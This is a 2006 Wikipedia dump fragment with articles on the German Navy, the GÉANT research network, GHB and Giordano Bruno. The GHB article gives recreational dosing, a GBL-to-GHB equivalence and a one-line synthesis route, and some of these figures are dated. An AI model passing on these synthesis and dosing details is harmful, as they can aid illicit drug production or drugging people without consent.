*** Operations School (Bremerhaven)
**''Naval Bases''
***Naval Base Command [[Wilhelmshaven]]
***Naval Base Command [[Eckernförde]]
***Naval Base Command [[Kiel]]
***Naval Base Command [[Warnemünde]]
**Department of Naval Development (Bremerhaven)
**Naval Test Command (Eckernförde)
**Naval Command &amp; Control Systems Command (Wilhelmshaven)

== Ships and Weapon Systems ==

[[Image:8955 SeaKing41 MFG5.jpg|thumb|right|300px|Sea King Mk41 from MFG.5 in special 30th anniversary colour scheme at Weston-super-Mare, UK, July 2005]]

The '''main weapons systems''' of the German Navy are:

*[[Frigates|frigate]] 
**8 [[Bremen class frigate|Bremen class]] (guided missile frigate)
**4 [[Brandenburg class frigate|Brandenburg class]] (anti-submarine frigate)
**3 [[Sachsen class frigate|Sachsen class]] (anti-air frigate)
**5 F125 class (planed, replace Bremen class)
*[[Corvette]]s
**5 Braunschweig class (under construction, replace Gepard class)
*[[Fast Patrol Boat]]s
**10 [[Gepard class fast patrol boat|Gepard class]]
*[[Minesweeper (ship)|Mine Counter-Measure Vessels]]
**5 Hameln class (minesweeper, drone guidance)
**5 Laboe class (mine hunter)
**12 Frankenthal class (minesweeper)
**18 Seehund class (MCM drone)
**M1052 Mühlhausen (diver support)
*[[Landing craft]]
**2 Lachs class
*[[Submarine]]s
**10 U206A class
**4 U212A class (2 more planned, replace U206A class)
*Auxiliary vessels
**2 [[Berlin class replenishment ship|Berlin class]] (fleet auxiliary, 1 more planned)
**1 Westerwald class (amunition tranport)
**6 [[Elbe class replenishment ship|Elbe class]] (tender)
**2 Rhön class (tanker)
**2 Tegernsee class (coastal tanker)
**3 Oste class (reconnaissance ship)
**1 Fehmarn class (ocean tug, salvage vessel)
**5 Wangerooge class (tug/trainig ship)
*[[Maritime Patrol Aircraft]]
**6 Bréguet Atlantic
**8 P3 Orion (replace Bréguet Atlantic)
**4 Dornier Do228
*Helicopters
**21 Sea Lynx Mk88
**20 Sea King Mk41
**30 NH90 (planned, replace Sea King and Sea Lynx)

After reunification, the modern German navy concentrated all ships of a given type at one base. The ''type bases'' are:

*[[Wilhelmshaven]] ([[North Sea]]): Frigates
*[[Nordholz]] ([[North Sea]]) Naval Air Service
*[[Eckernförde]] ([[Baltic Sea]]): Submarines, Fleet Protection Group, Divers 
*[[Warnemünde]] ([[Baltic Sea]]): Fast Attack Craft, Corvettes
*[[Kiel]] ([[Baltic Sea]]): Mine Counter-Measure, Helicopter

The [[Laboe Naval Memorial]] near Kiel is the German memorial for sailors who lost their lives at sea during the World Wars and while on duty at sea.

==See also==

=== Wikilinks ===

* [[List of ships of the German navies]]
* [[List of ship classes of the Bundesmarine and Deutsche Marine]]
* [[U-boat]]
* [[Kampfschwimmer]]
* [[Marineamt]]

=== External links ===
* [http://www.marine.de www.marine.de - Offizieller Internetauftritt der Deutschen Marine] in German
* [http://www.marine.de/en www.marine.de/en - Official Website of German Navy]  in English

*  http://hk.geocities.com/german_navy_ww2/  - with detail information of German Navy during world war one and two in Chinese{{Military of Germany}}

{{navy-stub}}

[[Category:German Navy]]
[[Category:Navies]]

[[de:Deutsche Marine]]
[[ja:ドイツ海軍]]
[[no:Deutsche Marine]]</text>
    </revision>
  </page>
  <page>
    <title>GEANT</title>
    <id>12961</id>
    <revision>
      <id>40364176</id>
      <timestamp>2006-02-20T01:56:34Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">:''For the simulation toolkit, see [[GEANT (program)]]''

'''GÉANT''' is the main [[Europe]]an multi-[[gigabit]] [[computer network]] for [[research]] and [[education]] purposes. GÉANT link speeds range from 155 Mbit/s on the slowest spur links to 10 Gbit/s in the core [[optical fiber]] network.

The GÉANT project began in November [[2000]], entered full production operation in December [[2001]] (fully replacing [[TEN-155]]). Originally due to finish in October [[2004]], it was subsequently extended until April [[2005]]. The project to plan, procure, build and operate the next generation of the network was named GÉANT2 and it began in September [[2004]].

It is intended that GÉANT interconnect with other regional research networks (such as [[Abilene Network]], [[CANARIE]], [[ESnet]], [[SINET]]) to create a single global research network. It currently has gigabit links to North America and Japan.

The GÉANT network is managed by [[DANTE]] (Delivery of Advanced Network Technology to Europe).

National research and education networks connected to GÉANT are:

* [[Austria]]'s [[ACOnet]]
* [[Belgium]]'s [[BELNET]]
* [[Bulgaria]]'s [[ISTF]]
* [[Croatia]]'s [[CARNet]]
* [[Cyprus]]'s [[CYNET]]
* [[Czech Republic]]'s [[CESNET]]
* [[Denmark]]'s [[Forskningsnettet]] (connected via [[NORDUnet]])
* [[Estonia]]'s [[EENet]]
* [[Finland]]'s [[FUNET]] (connected via [[NORDUnet]])
* [[France]]'s [[RENATER]]
* [[Germany]]'s [[DFN]]
* [[Greece]]'s [[GRNET]]
* [[Hungary]]'s [[HUNGARNET]]
* [[Iceland]]'s [[RHnet]] (connected via [[NORDUnet]])
* [[Republic of Ireland|Ireland]]'s [[HEAnet]]
* [[Israel]]'s [[IUCC]]
* [[Italy]]'s [[GARR]]
* [[Latvia]]'s [[LATNET]]
* [[Lithuania]]'s [[LITNET]]
* [[Luxembourg]]'s [[RESTENA]]
* [[Netherlands]]' [[SURFnet]]
* [[Norway]]'s [[UNINETT]] (connected via [[NORDUnet]])
* [[Poland]]'s [[POL-34]]
* [[Portugal]]'s [[FCCN]]
* [[Romania]]'s [[RoEduNet]]
* [[Slovakia]]'s [[SANET]]
* [[Slovenia]]'s [[ARNES]]
* [[Spain]]'s [[RedIRIS]]
* [[Sweden]]'s [[SUNET]] (connected via [[NORDUnet]])
* [[Switzerland]]'s [[SWITCH]]
* [[Turkey]]'s [[ULAKNET]]
* [[United Kingdom]]'s [[JANET]]

==External links==
* [http://www.geant.net/ The GÉANT website]
* [http://www.dante.net/ The DANTE website]

[[Category:Academic computer network organizations]]

[[da:GEANT]]
[[de:GÉANT]]
[[pl:GÉANT]]</text>
    </revision>
  </page>
  <page>
    <title>Gamma-hydroxybutyrate</title>
    <id>12962</id>
    <revision>
      <id>41906196</id>
      <timestamp>2006-03-02T14:52:19Z</timestamp>
      <contributor>
        <username>Jareth</username>
        <id>293836</id>
      </contributor>
      <minor />
      <comment>/* Dangers */ wording</comment>
      <text xml:space="preserve">:''[[GHB]] redirects here. See also [[Great Highland Bagpipe]].''
&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;margin-left:1em&quot;
|-  
| colspan=&quot;2&quot; align=center bgcolor=&quot;#cccccc&quot; | '''GHB'''
|-
| [[IUPAC nomenclature|Chemical name]] 
| 4-Hydroxybutanoic acid
|-
| [[Chemical formula]]
| C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;
|-
| [[Molecular mass]]
| 104.11 g/mol
|-
| [[Melting point]]
| 
|-
| [[CAS registry number|CAS number]]
| 591-81-1
|-
| [[Simplified molecular input line entry specification|SMILES]]
| OCCCC(=O)O
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | [[Image:Gamma-hydroxybutyrate.png|Chemical structure of GHB]]
|}
''' Gamma-hydroxybutyrate''' (4-hydroxybutanoic acid, C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;) is both a [[medication|drug]] and a naturally occurring compound found in the [[central nervous system]] as well as in other organs such as the liver, kidneys, heart and bones. GHB is structurally similar to the [[ketone body]] [[beta-hydroxybutyrate]].  As a drug it is used most commonly in the form of a chemical salt (Na-GHB or K-GHB). The sodium salt is commercially known as '''sodium oxybate'''. 

== Uses == 

=== Endogenous ===

The precise function of GHB in the body is not clear. It is an immediate precursor to [[GABA]], a neurotransmitter which regulates awakeness, physical activity and sleep. As GABA cannot cross the [[blood-brain barrier]], GHB obtained from food may be used for converting to GABA. GHB prevents cells from oxygen starvation, which might explain presence of the compound in vital organs. GHB was also found to have [[neuroprotective]] capabilities.

=== Medical ===

It has been used as a general [[anesthetic]], and a [[hypnotic]] in the treatment of [[insomnia]].  GHB has also been used to treat [[clinical depression]], and improve athletic performance.  In the United States, the [[Food and Drug Administration]] permits the use of GHB under the trade name Xyrem to reduce the number of [[cataplexy]] attacks in patients with [[narcolepsy]].
In Italy, under the trade name Alcover, GHB is used in the treatment of [[alcoholism]] (50 to 100 milligrams per kilogram per day, in 3 or more divided doses), both for acute alcohol withdrawal and medium to long term detoxification.

=== Recreational ===

[[Image:Gamma-hydroxybutyrate.jpg|thumb|Gamma-hydroxybutyrate powder]]

GHB is an [[intoxicant]]. It may be known as G, Liquid X, Liquid E. It is less commonly known as GHB, Gamma-oh, Georgia Homeboy,Georgia Detwiler, Georgia Hillbilly, Blue Verve, Gamma-G, Qi, scoop, or goop.  

Its potential for use as a [[date rape]] drug in the 1990s led to it being placed in the US on Schedule I of the Controlled Substances Act in March, 2000. On March 20, 2001, the [[Commission on Narcotic Drugs]] placed GHB in Schedule IV of the 1971 [[Convention on Psychotropic Substances]][http://www.whitehousedrugpolicy.gov/publications/factsht/gamma/]. In the UK it was made a class C drug in June 2003. 

The sodium salt of GHB has a thin, very salty, chemical taste. At low doses, GHB can cause a state of [[euphoria]], increased sociality and [[intoxication]]. This kind of use is particularly common at [[rave party|rave parties]]. At higher doses, GHB may induce nausea, dizziness, drowsiness, visual disturbances, depressed breathing, [[amnesia]] and unconsciousness. The effects of GHB can last from 1.5 to 3 hours. 

Some chemicals convert to GHB in the stomach and blood. GBL, or [[gamma-butyrolactone]], is one such precursor. It is 1,6 times less potent than GHB, so 1ml of GBL is equivalent to 0,4g of GHB. GBL has also a shorter onset and is longer acting than GHB. GBL has an extremely bad taste and is also known to irritate innards and skin.

Other precursors include [[1,4-Butanediol|1,4-butanediol]]. There may be additional toxicity concerns with these precursors.

== Mode of action ==

The action of GHB has yet to be fully elucidated. GHB clearly has at least two sites of action, stimulating the newly characterized and aptly named &quot;GHB receptor&quot; as well as the [[GABA receptor|GABA&lt;sub&gt;B&lt;/sub&gt;]]. GHB, if it is indeed a neurotransmitter, will only reach concentrations high enough to act at the GHB receptor, as it only has weak affinity fo the GABA&lt;sub&gt;B&lt;/sub&gt;. However, during recreational usage, GHB can reach very high concentrations in the brain, relative to basal levels, and can act at the GABA&lt;sub&gt;B&lt;/sub&gt; receptor [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16129424&amp;query_hl=21]. GHBs action at the GABA&lt;sub&gt;B&lt;/sub&gt; is probably responsible for its sedative effects. GHB-mediated GABA&lt;sub&gt;B&lt;/sub&gt; receptor stimulation inhibits dopamine release as well as causes the release of natural sedative [[neuroactive steroid|neurosteroids]] (like all other GABA&lt;sub&gt;B&lt;/sub&gt; agonists e.g. [[Baclofen]]). In animals GHBs sedative effects can be stopped by GABA&lt;sub&gt;B&lt;/sub&gt; antagonists (blockers).

The relevance of the GHB receptor in the behavioural effects induced by GHB is more controversial. It seems hard to believe that the GHB receptor is not important when it is densely expressed in many areas of the brain, including the cortex, as well as it being the high affinity site of GHB action. There is limited research into GHB receptor. However, evidence shows that it causes the release of [[glutamate]], which should be stimulatory. It does not seem, however, that the GHB receptor explains either GHB's sedative or rewarding/addictive properties. 

One can propose a scheme where high doses of GHB are sedative through its action at the GABA&lt;sub&gt;B&lt;/sub&gt; receptor, while a lower dose is somehow stimulatory. This may explain the so-called &quot;rebound&quot; effect, experienced by individuals using GHB as a sleeping agent, where they awake after several hours of GHB-induced sleep. That is to say, that over time, the concentration of GHB in the system decreases (because of metabolism) below a threshold for stimulating GABA&lt;sub&gt;B&lt;/sub&gt; receptor function, and simply stimulates the GHB receptor, leading to wakefulness.

== Dangers ==

The dose-response curve is very steep and as GHB often comes as a salt dissolved in water, actual amount of GHB per &quot;capful&quot; can vary, which makes proper dosing difficult. While small doses of GHB are considered to be safe, higher and ultra high doses can cause [[unconsciousness]], [[convulsions]], [[vomiting]], suppression of the [[gag reflex]] and [[breathing]], and [[death]]. These effects vary between persons and are dose dependent. Synergy of its sedative effects are seen when combined with other [[CNS depressants]] such as alcohol, [[benzodiazepine]]s (e.g. [[Valium]]), [[barbiturate]]s, and others. Deaths from GHB alone are either extremely rare or non-existent. Death while using GHB is most likely in combination with alcohol as a result of choking on vomit and asphyxiating. Death might also be possible from respiratory depression as high doses of GHB could eventually inhibit the breathing centers in the brainstem. However, it has been argued that it is extremely difficult to take a lethal dose of GHB, as a user would fall unconscious long before the lethal dose is reached. [[LD50]] of GHB is estimated to be between 1100mg/kg and 2000mg/kg [http://www.erowid.org/chemicals/ghb/ghb_chemistry.shtml] in rodents, and is almost certainly lower in humans.

There have been no long-term studies into the effect of GHB if taken chronically, and hence whether prolonged use of GHB causes any bodily harm (aside from addiction) remains unanswered.

== Addiction ==

GHB is physically [[addictive]] and may also result in [[psychological addiction]]. Physical dependence develops when GHB is taken on a regular basis (i.e. every 2-4 hours for multiple consecutive days or weeks). [[Withdrawal]] effects may include hallucinations, [[insomnia]], [[anxiety]], [[tremor]]s, sweating, edginess, chest pain and tightness, muscle and bone aches, sensitivity to external stimuli (sound, light, touch), [[dysphoria]], and mental dullness. These side effects will subside after 2 - 21 days depending on usage. Although there have been reported fatalities due to GHB withdrawal, reports are inconclusive and further research is needed.  Unlike [[ethanol|alcohol]], it is unknown at this point if chronic use of GHB causes permanent damage to the body. However, clinical tests showed that there was no organ or brain damage in rats that were chronically administrated with GHB [http://ntp.niehs.nih.gov/index.cfm?objectid=07097962-0CEC-4EFA-62E349AF22EB2E9D].

== History ==

GHB was first synthesized in the early [[1960s]] by Dr. [[Henri Laborit]] to use in studying the neurotransmitter [[GABA]]. It quickly found a wide range of uses due to its minimal side effects and controlled action, the only difficulties being the narrow safe dosage range and the dangers presented by its combination with [[alcohol]] and other CNS depressants.

Typically GHB has been synthesized from GBL ([[Gamma-butyrolactone]]) by adding [[sodium hydroxide]] (lye) in ethanol or water. As of late, GBL has become controlled and more circuitous routes have to be taken such as those starting with THF ([[tetrahydrofuran]]).

== External references ==

* [http://www.streetdrugs.org/ghb.htm streetdrugs.com]
* [http://www.erowid.org/chemicals/ghb/ Erowid GHB Vault] (contains also information about addiction and dangers) 
* [http://www.drugabuse.gov/Infofax/RohypnolGHB.html InfoFacts - Rohypnol and GHB] ([[National Institute on Drug Abuse]])
* [http://www.whitehousedrugpolicy.gov/publications/factsht/gamma/ Gamma Hydroxybutyrate (GHB) Fact Sheet]
* [http://www.ceri.com/ghbalt.htm GHB alternatives]
[[Category:Sedatives]]
[[Category:Drugs]]

[[de:4-Hydroxybutansäure]]
[[fr:Acide gamma-hydroxybutyrique]]
[[he:GHB]]
[[ms:GHB]]
[[nl:Gammahydroxybutyraat]]
[[pl:GHB]]
[[fi:GHB]]
[[sv:GHB]]</text>
    </revision>
  </page>
  <page>
    <title>Giordano Bruno</title>
    <id>12963</id>
    <revision>
      <id>42124843</id>
      <timestamp>2006-03-04T00:00:59Z</timestamp>
      <contributor>
        <username>Varenius</username>
        <id>290848</id>
      </contributor>
      <comment>expanded and slightly revised introductory paragraph</comment>
      <text xml:space="preserve">[[Image:Giordano_Bruno.jpg|thumb|Giordano Bruno]]

'''Giordano Bruno''' ([[1548]]-[[1600]]), was an [[Italy|Italian]] [[philosopher]], [[priest]], [[astronomer]], and [[occultist]]. Bruno is perhaps best known for his system of mnemonics and as an early proponent of the idea of extrasolar planets and extraterrestrial life. [[burned at the stake|Burned at the stake]] as a [[heresy|heretic]] for his theological ideas, Bruno is seen by some as a [[martyr]] to the cause of [[freedom of thought|free thought]]. 

==Early life==

Born, Filippo at [[Nola]], in [[Campania]], in the [[Kingdom of Naples]], [[1548]].  He was the son of Giovanni Bruno, a soldier.  At the age of eleven he traveled to [[Naples]] to study the [[Trivium]].  At 15, Bruno entered the [[Dominican Order]], taking the name of Giordano. He continued his studies, completing his novitate, and becoming an ordained [[priest]] in [[1572]].

He was interested in [[philosophy]] and was an expert on the art of [[memory]]; he wrote books on [[mnemonic]] technique, which [[Frances Yates]] contends may have been disguised [[Hermes Trismegistus|Hermetic]] tracts. The writings attributed to [[Hermes Trismegistus]] were, in Bruno's time, recently rediscovered and at that time were thought to date uniformly to the earliest days of ancient [[Egypt]]. They are now believed to date mostly from about [[300]] A.D. and to be associated with [[Neoplatonism]]. Bruno embraced a sort of [[pantheism|pantheistic]] [[hylozoism]], rather than orthodox Christian [[Trinity|Trinitarian belief]]. 
[[Image:GiordanoBrunomnemonic.gif|thumb|left|200px|Woodcut illustration of one of Giordano Bruno's mnemonic devices: in the spandrels are the four [[classical element]]s: earth, air fire, water]]
Bruno was also heavily influenced by the ideas of [[Copernicus]] and by the newly rediscovered ideas of [[Plato]] as well as the [[Hermeticism|teachings]] ascribed to [[Hermes Trismegistus]][http://www.gnosis.org/hermes.htm]. Other influences included [[Thomas Aquinas]], [[Averroes]], [[Duns Scotus]], [[Marsilio Ficino]], and [[Nicholas of Cusa]].

In [[1576]] he left Naples to avoid the attention of the [[Inquisition]]. He left [[Rome]] for the same reason and abandoned the Dominican order. He travelled to [[Geneva]] and briefly joined the [[Calvinism|Calvinists]], before he was [[excommunication|excommunicated]], ostensibily for his adherence to [[Copernicus|Copernicanism]] and left for [[France]]. 

In [[1579]] he arrived in [[Toulouse]], where he briefly had a teaching position. At this time, he began to gain fame for his prodigious memory. Bruno's feats of memory were apparently based, at least in part, on an elaborate system of mnemonics, but many of his contemporaries found it easier to attribute them to magical powers.

For seven years, he enjoyed the protection of powerful French patrons, including [[Henry III of France|Henry III]]. During this period, he published 20 books, including several on memory training, ''Cena de le Ceneri'' (''The Ash Wednesday Supper'', 1584), and ''De l'Infinito, Universo e Mondi'' (''On the Infinite Universe and Worlds'', 1584). In ''Cena de le Ceneri'' he defended the theories of [[Copernicus]], albeit rather poorly. In ''De l'Infinito, Universo e Mondi'', he argued that the stars we see at night were just like our [[Sun]], that the universe was [[infinity|infinite]], with a &quot;Plurality of Worlds&quot;, and that all were inhabited by intelligent beings (see the [[Drake equation]]). These two works are jointly known as his &quot;Italian dialogues.&quot; In [[1582]], Bruno penned a play summarizing some of his cosmological positions, titled ''Il Candelaio'' (&quot;The Torchbearer&quot;).

== Travel years ==

In [[1583]], he went to [[England]] with letters of recommendation from Henry III. There he sought a teaching position at [[Oxford University|Oxford]], but appears to have given offense and was denied a position there (and elsewhere in England). 

In [[1585]] he returned to [[Paris]]. However, his 120 theses against [[Aristotle|Aristotelian]] natural science and his pamphlet against the [[Catholic]] mathematician [[Fabrizio Mordente]] soon put him in ill favor. In [[1586]], following a violent quarrel about &quot;a scientific instrument&quot;, he left France for [[Germany]].

In Germany he failed to obtain a teaching position at [[Marburg]], but was granted permission to teach at [[Wittenberg]], where he lectured on [[Aristotle]] for two years. However, with a change of intellectual climate there, he was no longer welcome, and went in [[1588]] to [[Prague]], where he obtained 300 [[taler]] from [[Rudolf II]], but no teaching position. He went on to serve briefly as a professor in [[University of Helmstedt|Helmstedt]], but had to flee again when he was [[excommunication|excommunicated]] by the [[Martin Luther|Luther]]ans, continuing the pattern of Bruno's gaining favor from lay authorities before falling foul of the [[church|ecclesiastic]]s of whatever hue. 

[[1591]] found him in [[Frankfurt]]. Apparently, during the [[Frankfurt Book Fair]], he received an invitation to [[Venice]] from one Zuane Mocenigo, who wished to be instructed in the art of memory, and also heard of a vacant chair in mathematics at the [[University of Padua]]. Apparently believing that the [[Inquisition]] might have lost some of its impetus, he  returned to [[Italy]]. 

He went first to [[Padua]], where he taught briefly, but the chair he sought went instead to [[Galileo Galilei]], so he went to the [[University of Venice]]. He briefly functioned as a tutor to Mocenigo, who may have been disappointed that Bruno was merely teaching him a complex system of mnemonics rather than some form of magic. When Bruno attempted to leave [[Venice]], Mocenigo denounced him to the Inquisition. He was arrested [[May 22]], [[1592]], and given a first trial hearing before being sent for [[trial (law)|trial]] in [[Rome]] in [[1593]].

[[Image:brunostatue.jpg|thumb|right|The monument to Bruno in the place he was executed, [[Campo de' Fiori]] in Rome.]]

==Trial and death==
In Rome he was imprisoned for six years before he was tried, lastly in the [[Tower of Nona]]. He tried in vain to obtain a personal audience with [[Pope Clement VIII]], hoping to make peace with the Church through a partial recantation. His trial, when it finally occurred, was overseen by the inquisitor, Cardinal [[Bellarmine|Saint Robert Bellarmine]], who demanded a full recantation, which Bruno refused. Consequently, he was declared a [[heresy|heretic]], handed over to secular authorities on [[January 8]] [[1600]]. At his trial, he said: ''&quot;Perhaps you, my judges, pronounce this sentence against me with greater fear than I receive it.&quot;'' A month or so later he was brought to the [[Campo de' Fiori]], a central Roman market square, his tongue in a gag, hung upside-down naked and [[burned at the stake]], on [[February 17]] [[1600]]. 

Since [[1889]], there has been a monument to Bruno on the site of his execution, erected by Italian [[Masonic]] circles.

Although the actual charge against Bruno was [[docetism]], (adherence to the doctrine that [[Jesus]] did not actually have a physical body and that his physical presence was an illusion), and despite the fact that his theoretical work cannot be considered scientific, some authors has long claimed Bruno as a &quot;martyr of [[science]]&quot;. They see a parallel between his persecution and the [[Galileo affair]], asserting that even though, unlike Galileo, Bruno’s theological beliefs were a factor in his heresy trial, Bruno’s [[Copernicus|Copernicanism]] was also a factor.

But the above &quot;connection&quot; may be exaggerated, or even plainly false. For example: according to the ''Stanford Encyclopedia of Philosophy'', &quot;(...) in 1600 there was no official Catholic position on the Copernican system, and it was certainly not a heresy. When Giordano Bruno (1548-1600) was burned at the stake as a heretic, it had nothing to do with his writings in support of Copernican cosmology.&quot;{{ref|Copernicus}} In fact, the precise charges of heresy on which Bruno was finally condemned are unknown, as the official record has long been lost. The role (if any) of his heliocentric teachings and belief in an infinite universe is not a matter that can be conclusively proved on either side.

All his works were placed on the ''[[Index Librorum Prohibitorum]]'' in [[1603]]. Four hundred years after his execution, official expression of &quot;profound sorrow&quot; and acknowledgement of error at Bruno's condemnation to death was made, during the papacy of [[Pope John Paul II|John Paul II]]. Attempts were made by a group of professors in the Catholic Theological Faculty at Naples, lead by the Nolan [[Domenico Sorrentino]] to obtain a full rehabilitation from the Catholic authorities. However, while the Church was able to express regret for the violent death of a man, it could not condone the activities of a man who was, as the London embassy period shows, not in favour of any sort of religious tolerance and brought about the deaths of Roman Catholics.

==The cosmology of Bruno's time==

In the second half of the [[16th century]], the theories of [[Copernicus]] began diffusing through Europe. Although Bruno did not wholly embrace Copernicus's preference for mathematics over speculation, he advocated the Copernican view that the [[earth]] was not the center of the [[universe]], and extrapolated some consequences which were radical departures from the cosmology of the time.

According to Bruno, Copernicus's theories contradicted the view of a [[celestial sphere]], immutable, incorruptible, and superior to the terrestrial region. Bruno went beyond the heliocentric model to envision a universe which, like that of [[Plotinus]] in the [[3rd century|third century A.D.]], or like [[Blaise Pascal]]'s nearly a century after Bruno, had its center everywhere and its circumference nowhere.

Few [[astronomy|astronomers]] of Bruno's generation accepted even Copernicus's heliocentric model. Among those who did were the [[Germany|Germans]] [[Michael Maestlin]] ([[1550]]-[[1631]]), and [[Cristoph Rothmann]] and the [[England|Englishman]] [[Thomas Digges]], author of ''[[A Perfit Description of the Caelestial Orbes]]'' (''sic''). [[Galileo Galilei|Galileo]] ([[1564]]-[[1642]]) and [[Johannes Kepler]] ([[1571]]-[[1630]]) were younger, so they do not figure at this time. Bruno himself was not an astronomer, but one of the first to embrace Copernicanism as a world view, rejecting [[geocentrism]].  In works published between [[1584]] and [[1591]], Bruno enthusiastically supported Copernicanism.

According to [[Aristotle]] and [[Plato]], the universe was a [[finite]] [[sphere]]. Its ultimate limit was the ''primum mobile'', whose diurnal rotation was conferred upon it by a [[transcendental]] [[God]], not part of the universe, a motionless [[prime mover]] and [[first cause]]. The fixed [[star]]s were part of this celestial sphere, all at the same fixed distance from the immobile earth at the center of the sphere. [[Ptolemy]] had numbered these at 1,022, grouped into 48 [[constellation]]s. The [[planet]]s were each fixed to a transparent sphere.

Copernicus conserved the idea of planets fixed to solid spheres, but considered the apparent motion of the stars to be an actual motion of the earth; he also preserved the notion of an immobile center, but it was the [[Sun]] rather than the Earth. He expressed no opinion as to whether the stars were at a uniform distance on a fixed sphere or scattered through an infinite universe.

==Bruno's cosmology==

Bruno believed, as is now universally accepted, that the Earth revolves and that the apparent diurnal rotation of the heavens is an illusion caused by the rotation of the Earth around its [[Axis of rotation|axis]]. He also saw no reason to believe that the [[stellar region]] was finite, or that all stars were equidistant from a single [[center of the universe]]. In these respects, his views were similar to those of Thomas Digges in his ''A Perfit Description of the Caelestial Orbes'' ([[1576]]). 

However, Digges considered the infinite region beyond the stars to be the home of [[God]], the [[angel]]s, and of the [[holiness|holy]]. He conserved the Ptolemaic notion of the planetary spheres, considered Earth the only possible realm of [[life]] and [[death]], and a unique place of imperfection and change, compared against the perfect and changeless heavens. 

In [[1584]], Bruno published two important philosophical dialogues, in which he argued against the planetary spheres. (Two years later, Rothmann did the same in [[1586]], as did [[Tycho Brahe]] in [[1587]].) Bruno's infinite universe was filled with a substance -- a &quot;pure air&quot;, [[aether]], or ''spiritus'' -- that offered no resistance to the heavenly bodies which, in Bruno's view, rather than being fixed, moved under their own [[impetus]]. Most dramatically, he completely abandoned the idea of a [[hierarchy|hierarchical]] universe. The Earth was just one more heavenly body, as was the Sun. God had no particular relation to one part of the infinite universe more than any other. God, according to Bruno, was precisely as present on Earth as in the Heavens, an immanent God rather than a remote heavenly deity.

Bruno also affirmed that the universe was [[homogeneity|homogeneous]], made up everywhere of the [[four elements]] (water, earth, fire, and air), rather than having the stars be composed of a separate [[quintessence]]. Essentially, the same [[physical law]]s would operate everywhere, although the use of that term is anachronistic. [[Space]] and [[time]] were both conceived as infinite. There was no room in his stable and permanent universe for the [[Christianity|Christian]] notions of divine [[Creation (theology)|Creation]] and [[Last Judgement]].

Under this model, the Sun was simply one more star, and the stars all [[sun]]s, each with its own planets. Bruno saw a [[solar system]] of a sun/star with planets as the fundamental unit of the universe. According to Bruno, infinite God necessarily created an infinite universe, formed of an infinite number of solar systems, separated by vast regions full of Aether, because empty space could not exist. (Bruno did not arrive at the concept of a [[galaxy]].) [[Comet]]s were part of a ''synodus ex mundis'' of stars, and not -- as other authors sustained at the time -- ephemeral creations, divine instruments, or heavenly messengers. Each comet was a world, a permanent celestial body, formed of the four elements. 

Bruno's cosmology is marked by infinitude, homogeneity, and [[isotropy]], with planetary systems distributed evenly throughout. [[Matter]] follows an active [[animism|animistic]] principle: it is [[intelligence (trait)|intelligent]] and discontinuous in structure, made up of discrete [[atom]]s. This animism (and a corresponding disdain for mathematics as a means to understanding) is the most dramatic respect in which Bruno's cosmology differs from what today passes for a common-sense picture of the universe.

== In film and fiction ==
*[http://www.giordanobruno.info/film.html Biography drama ''Giordano Bruno''] directed by Guiliano Montaldo (1973)
*[[Ægypt]], a four-volume novel by [[John Crowley]], includes a major storyline following the adventures of Giordano Bruno, positing among other things two meetings between Bruno and Dr. [[John Dee]].

== Notes==
# {{note|Copernicus}} Sheila Rabin, [http://plato.stanford.edu/entries/copernicus/ Nicolaus Copernicus] in the ''Stanford Encyclopedia of Philosophy'' (online, accessed [[19 November]] [[2005]]).

== References ==
{{wikiquote}}
*''[[Eros and Magic in the Renaissance]]'', [[Ioan P. Couliano]], ISBN 0226123154.
*''Giordano Bruno and the Hermetic Tradition'', [[Frances Yates]], ISBN 0226950077
*''Cause, Principle and Unity : And Essays on Magic by Giordano Bruno'', ISBN:0521596580
*''The Cabala of Pegasus by Giordano Bruno'', ISBN: 0300092172
*&quot;[http://www.esotericarchives.com/bruno/home.htm Writings of Giordano Bruno]&quot;
*&quot;[http://www.newadvent.org/cathen/03016a.htm Giordano Bruno]&quot;, ''[[The Catholic Encyclopedia]]'' (1908)

==Legacy==
*The 20-km diameter [[Impact crater|crater]] '''[[Giordano Bruno (crater)|Giordano Bruno]]''', named in Bruno's honor, is located on the [[moon]] at 103° east [[lunar longitude]], 36° north [[lunar latitude]]. It is believed to have been created by a meteorite impact in 1178, witnessed by five English monks as relayed in [[Carl Sagan|Carl Sagan's]] [[Cosmos]].
*In [[1926]] the Theosophical Broadcasting Station Pty Ltd, owned by interests associated with the local branch of [[Theosophical Society Adyar]], was granted a radio broadcasting licence in [[Sydney]], [[Australia]]. The station's call sign, &quot;[[2GB]]&quot; was chosen to honour the Italian philosopher who was much admired by Theosophists. Although the ownership of the station subsequently passed to strictly commercial interests the call sign is retained.

&lt;!-- interwiki --&gt;

[[Category:1548 births|Bruno, Giordano]]
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  </page>
  <page>
    <title>Geddy Lee</title>
    <id>12964</id>
    <revision>
      <id>41776705</id>
      <timestamp>2006-03-01T17:51:20Z</timestamp>
      <contributor>
        <username>Anger22</username>
        <id>1008387</id>
      </contributor>
      <minor />
      <comment>changed naming standard - see talk page</comment>
      <text xml:space="preserve">[[Image:R30geddy.jpg|right|thumb|250px|Geddy Lee &lt;br /&gt;(30th Anniversary tour photo 2004)]]
'''Geddy Lee [[Order of Canada|OC]]''' (born '''Gary Lee Weinrib''', [[July 29]], [[1953]]) is a [[Canada|Canadian]] musician who is the [[vocalist]], [[bassist]], and [[keyboardist]] for the [[progressive rock]] group [[Rush (band)|Rush]]. 

Born in [[Toronto]], [[Canada]], Lee grew up as the son of [[Poles|Polish]] parents who were both survivors of [[Nazi]] [[concentration camps]] [[Dachau concentration camp|Dachau]] and [[Bergen-Belsen concentration camp|Bergen-Belsen]].  Lee's [[stage name]] (and later legal name) &quot;Geddy&quot; was inspired by the heavily-accented pronunciation of his given first name &quot;Gary&quot; by his grandmother.
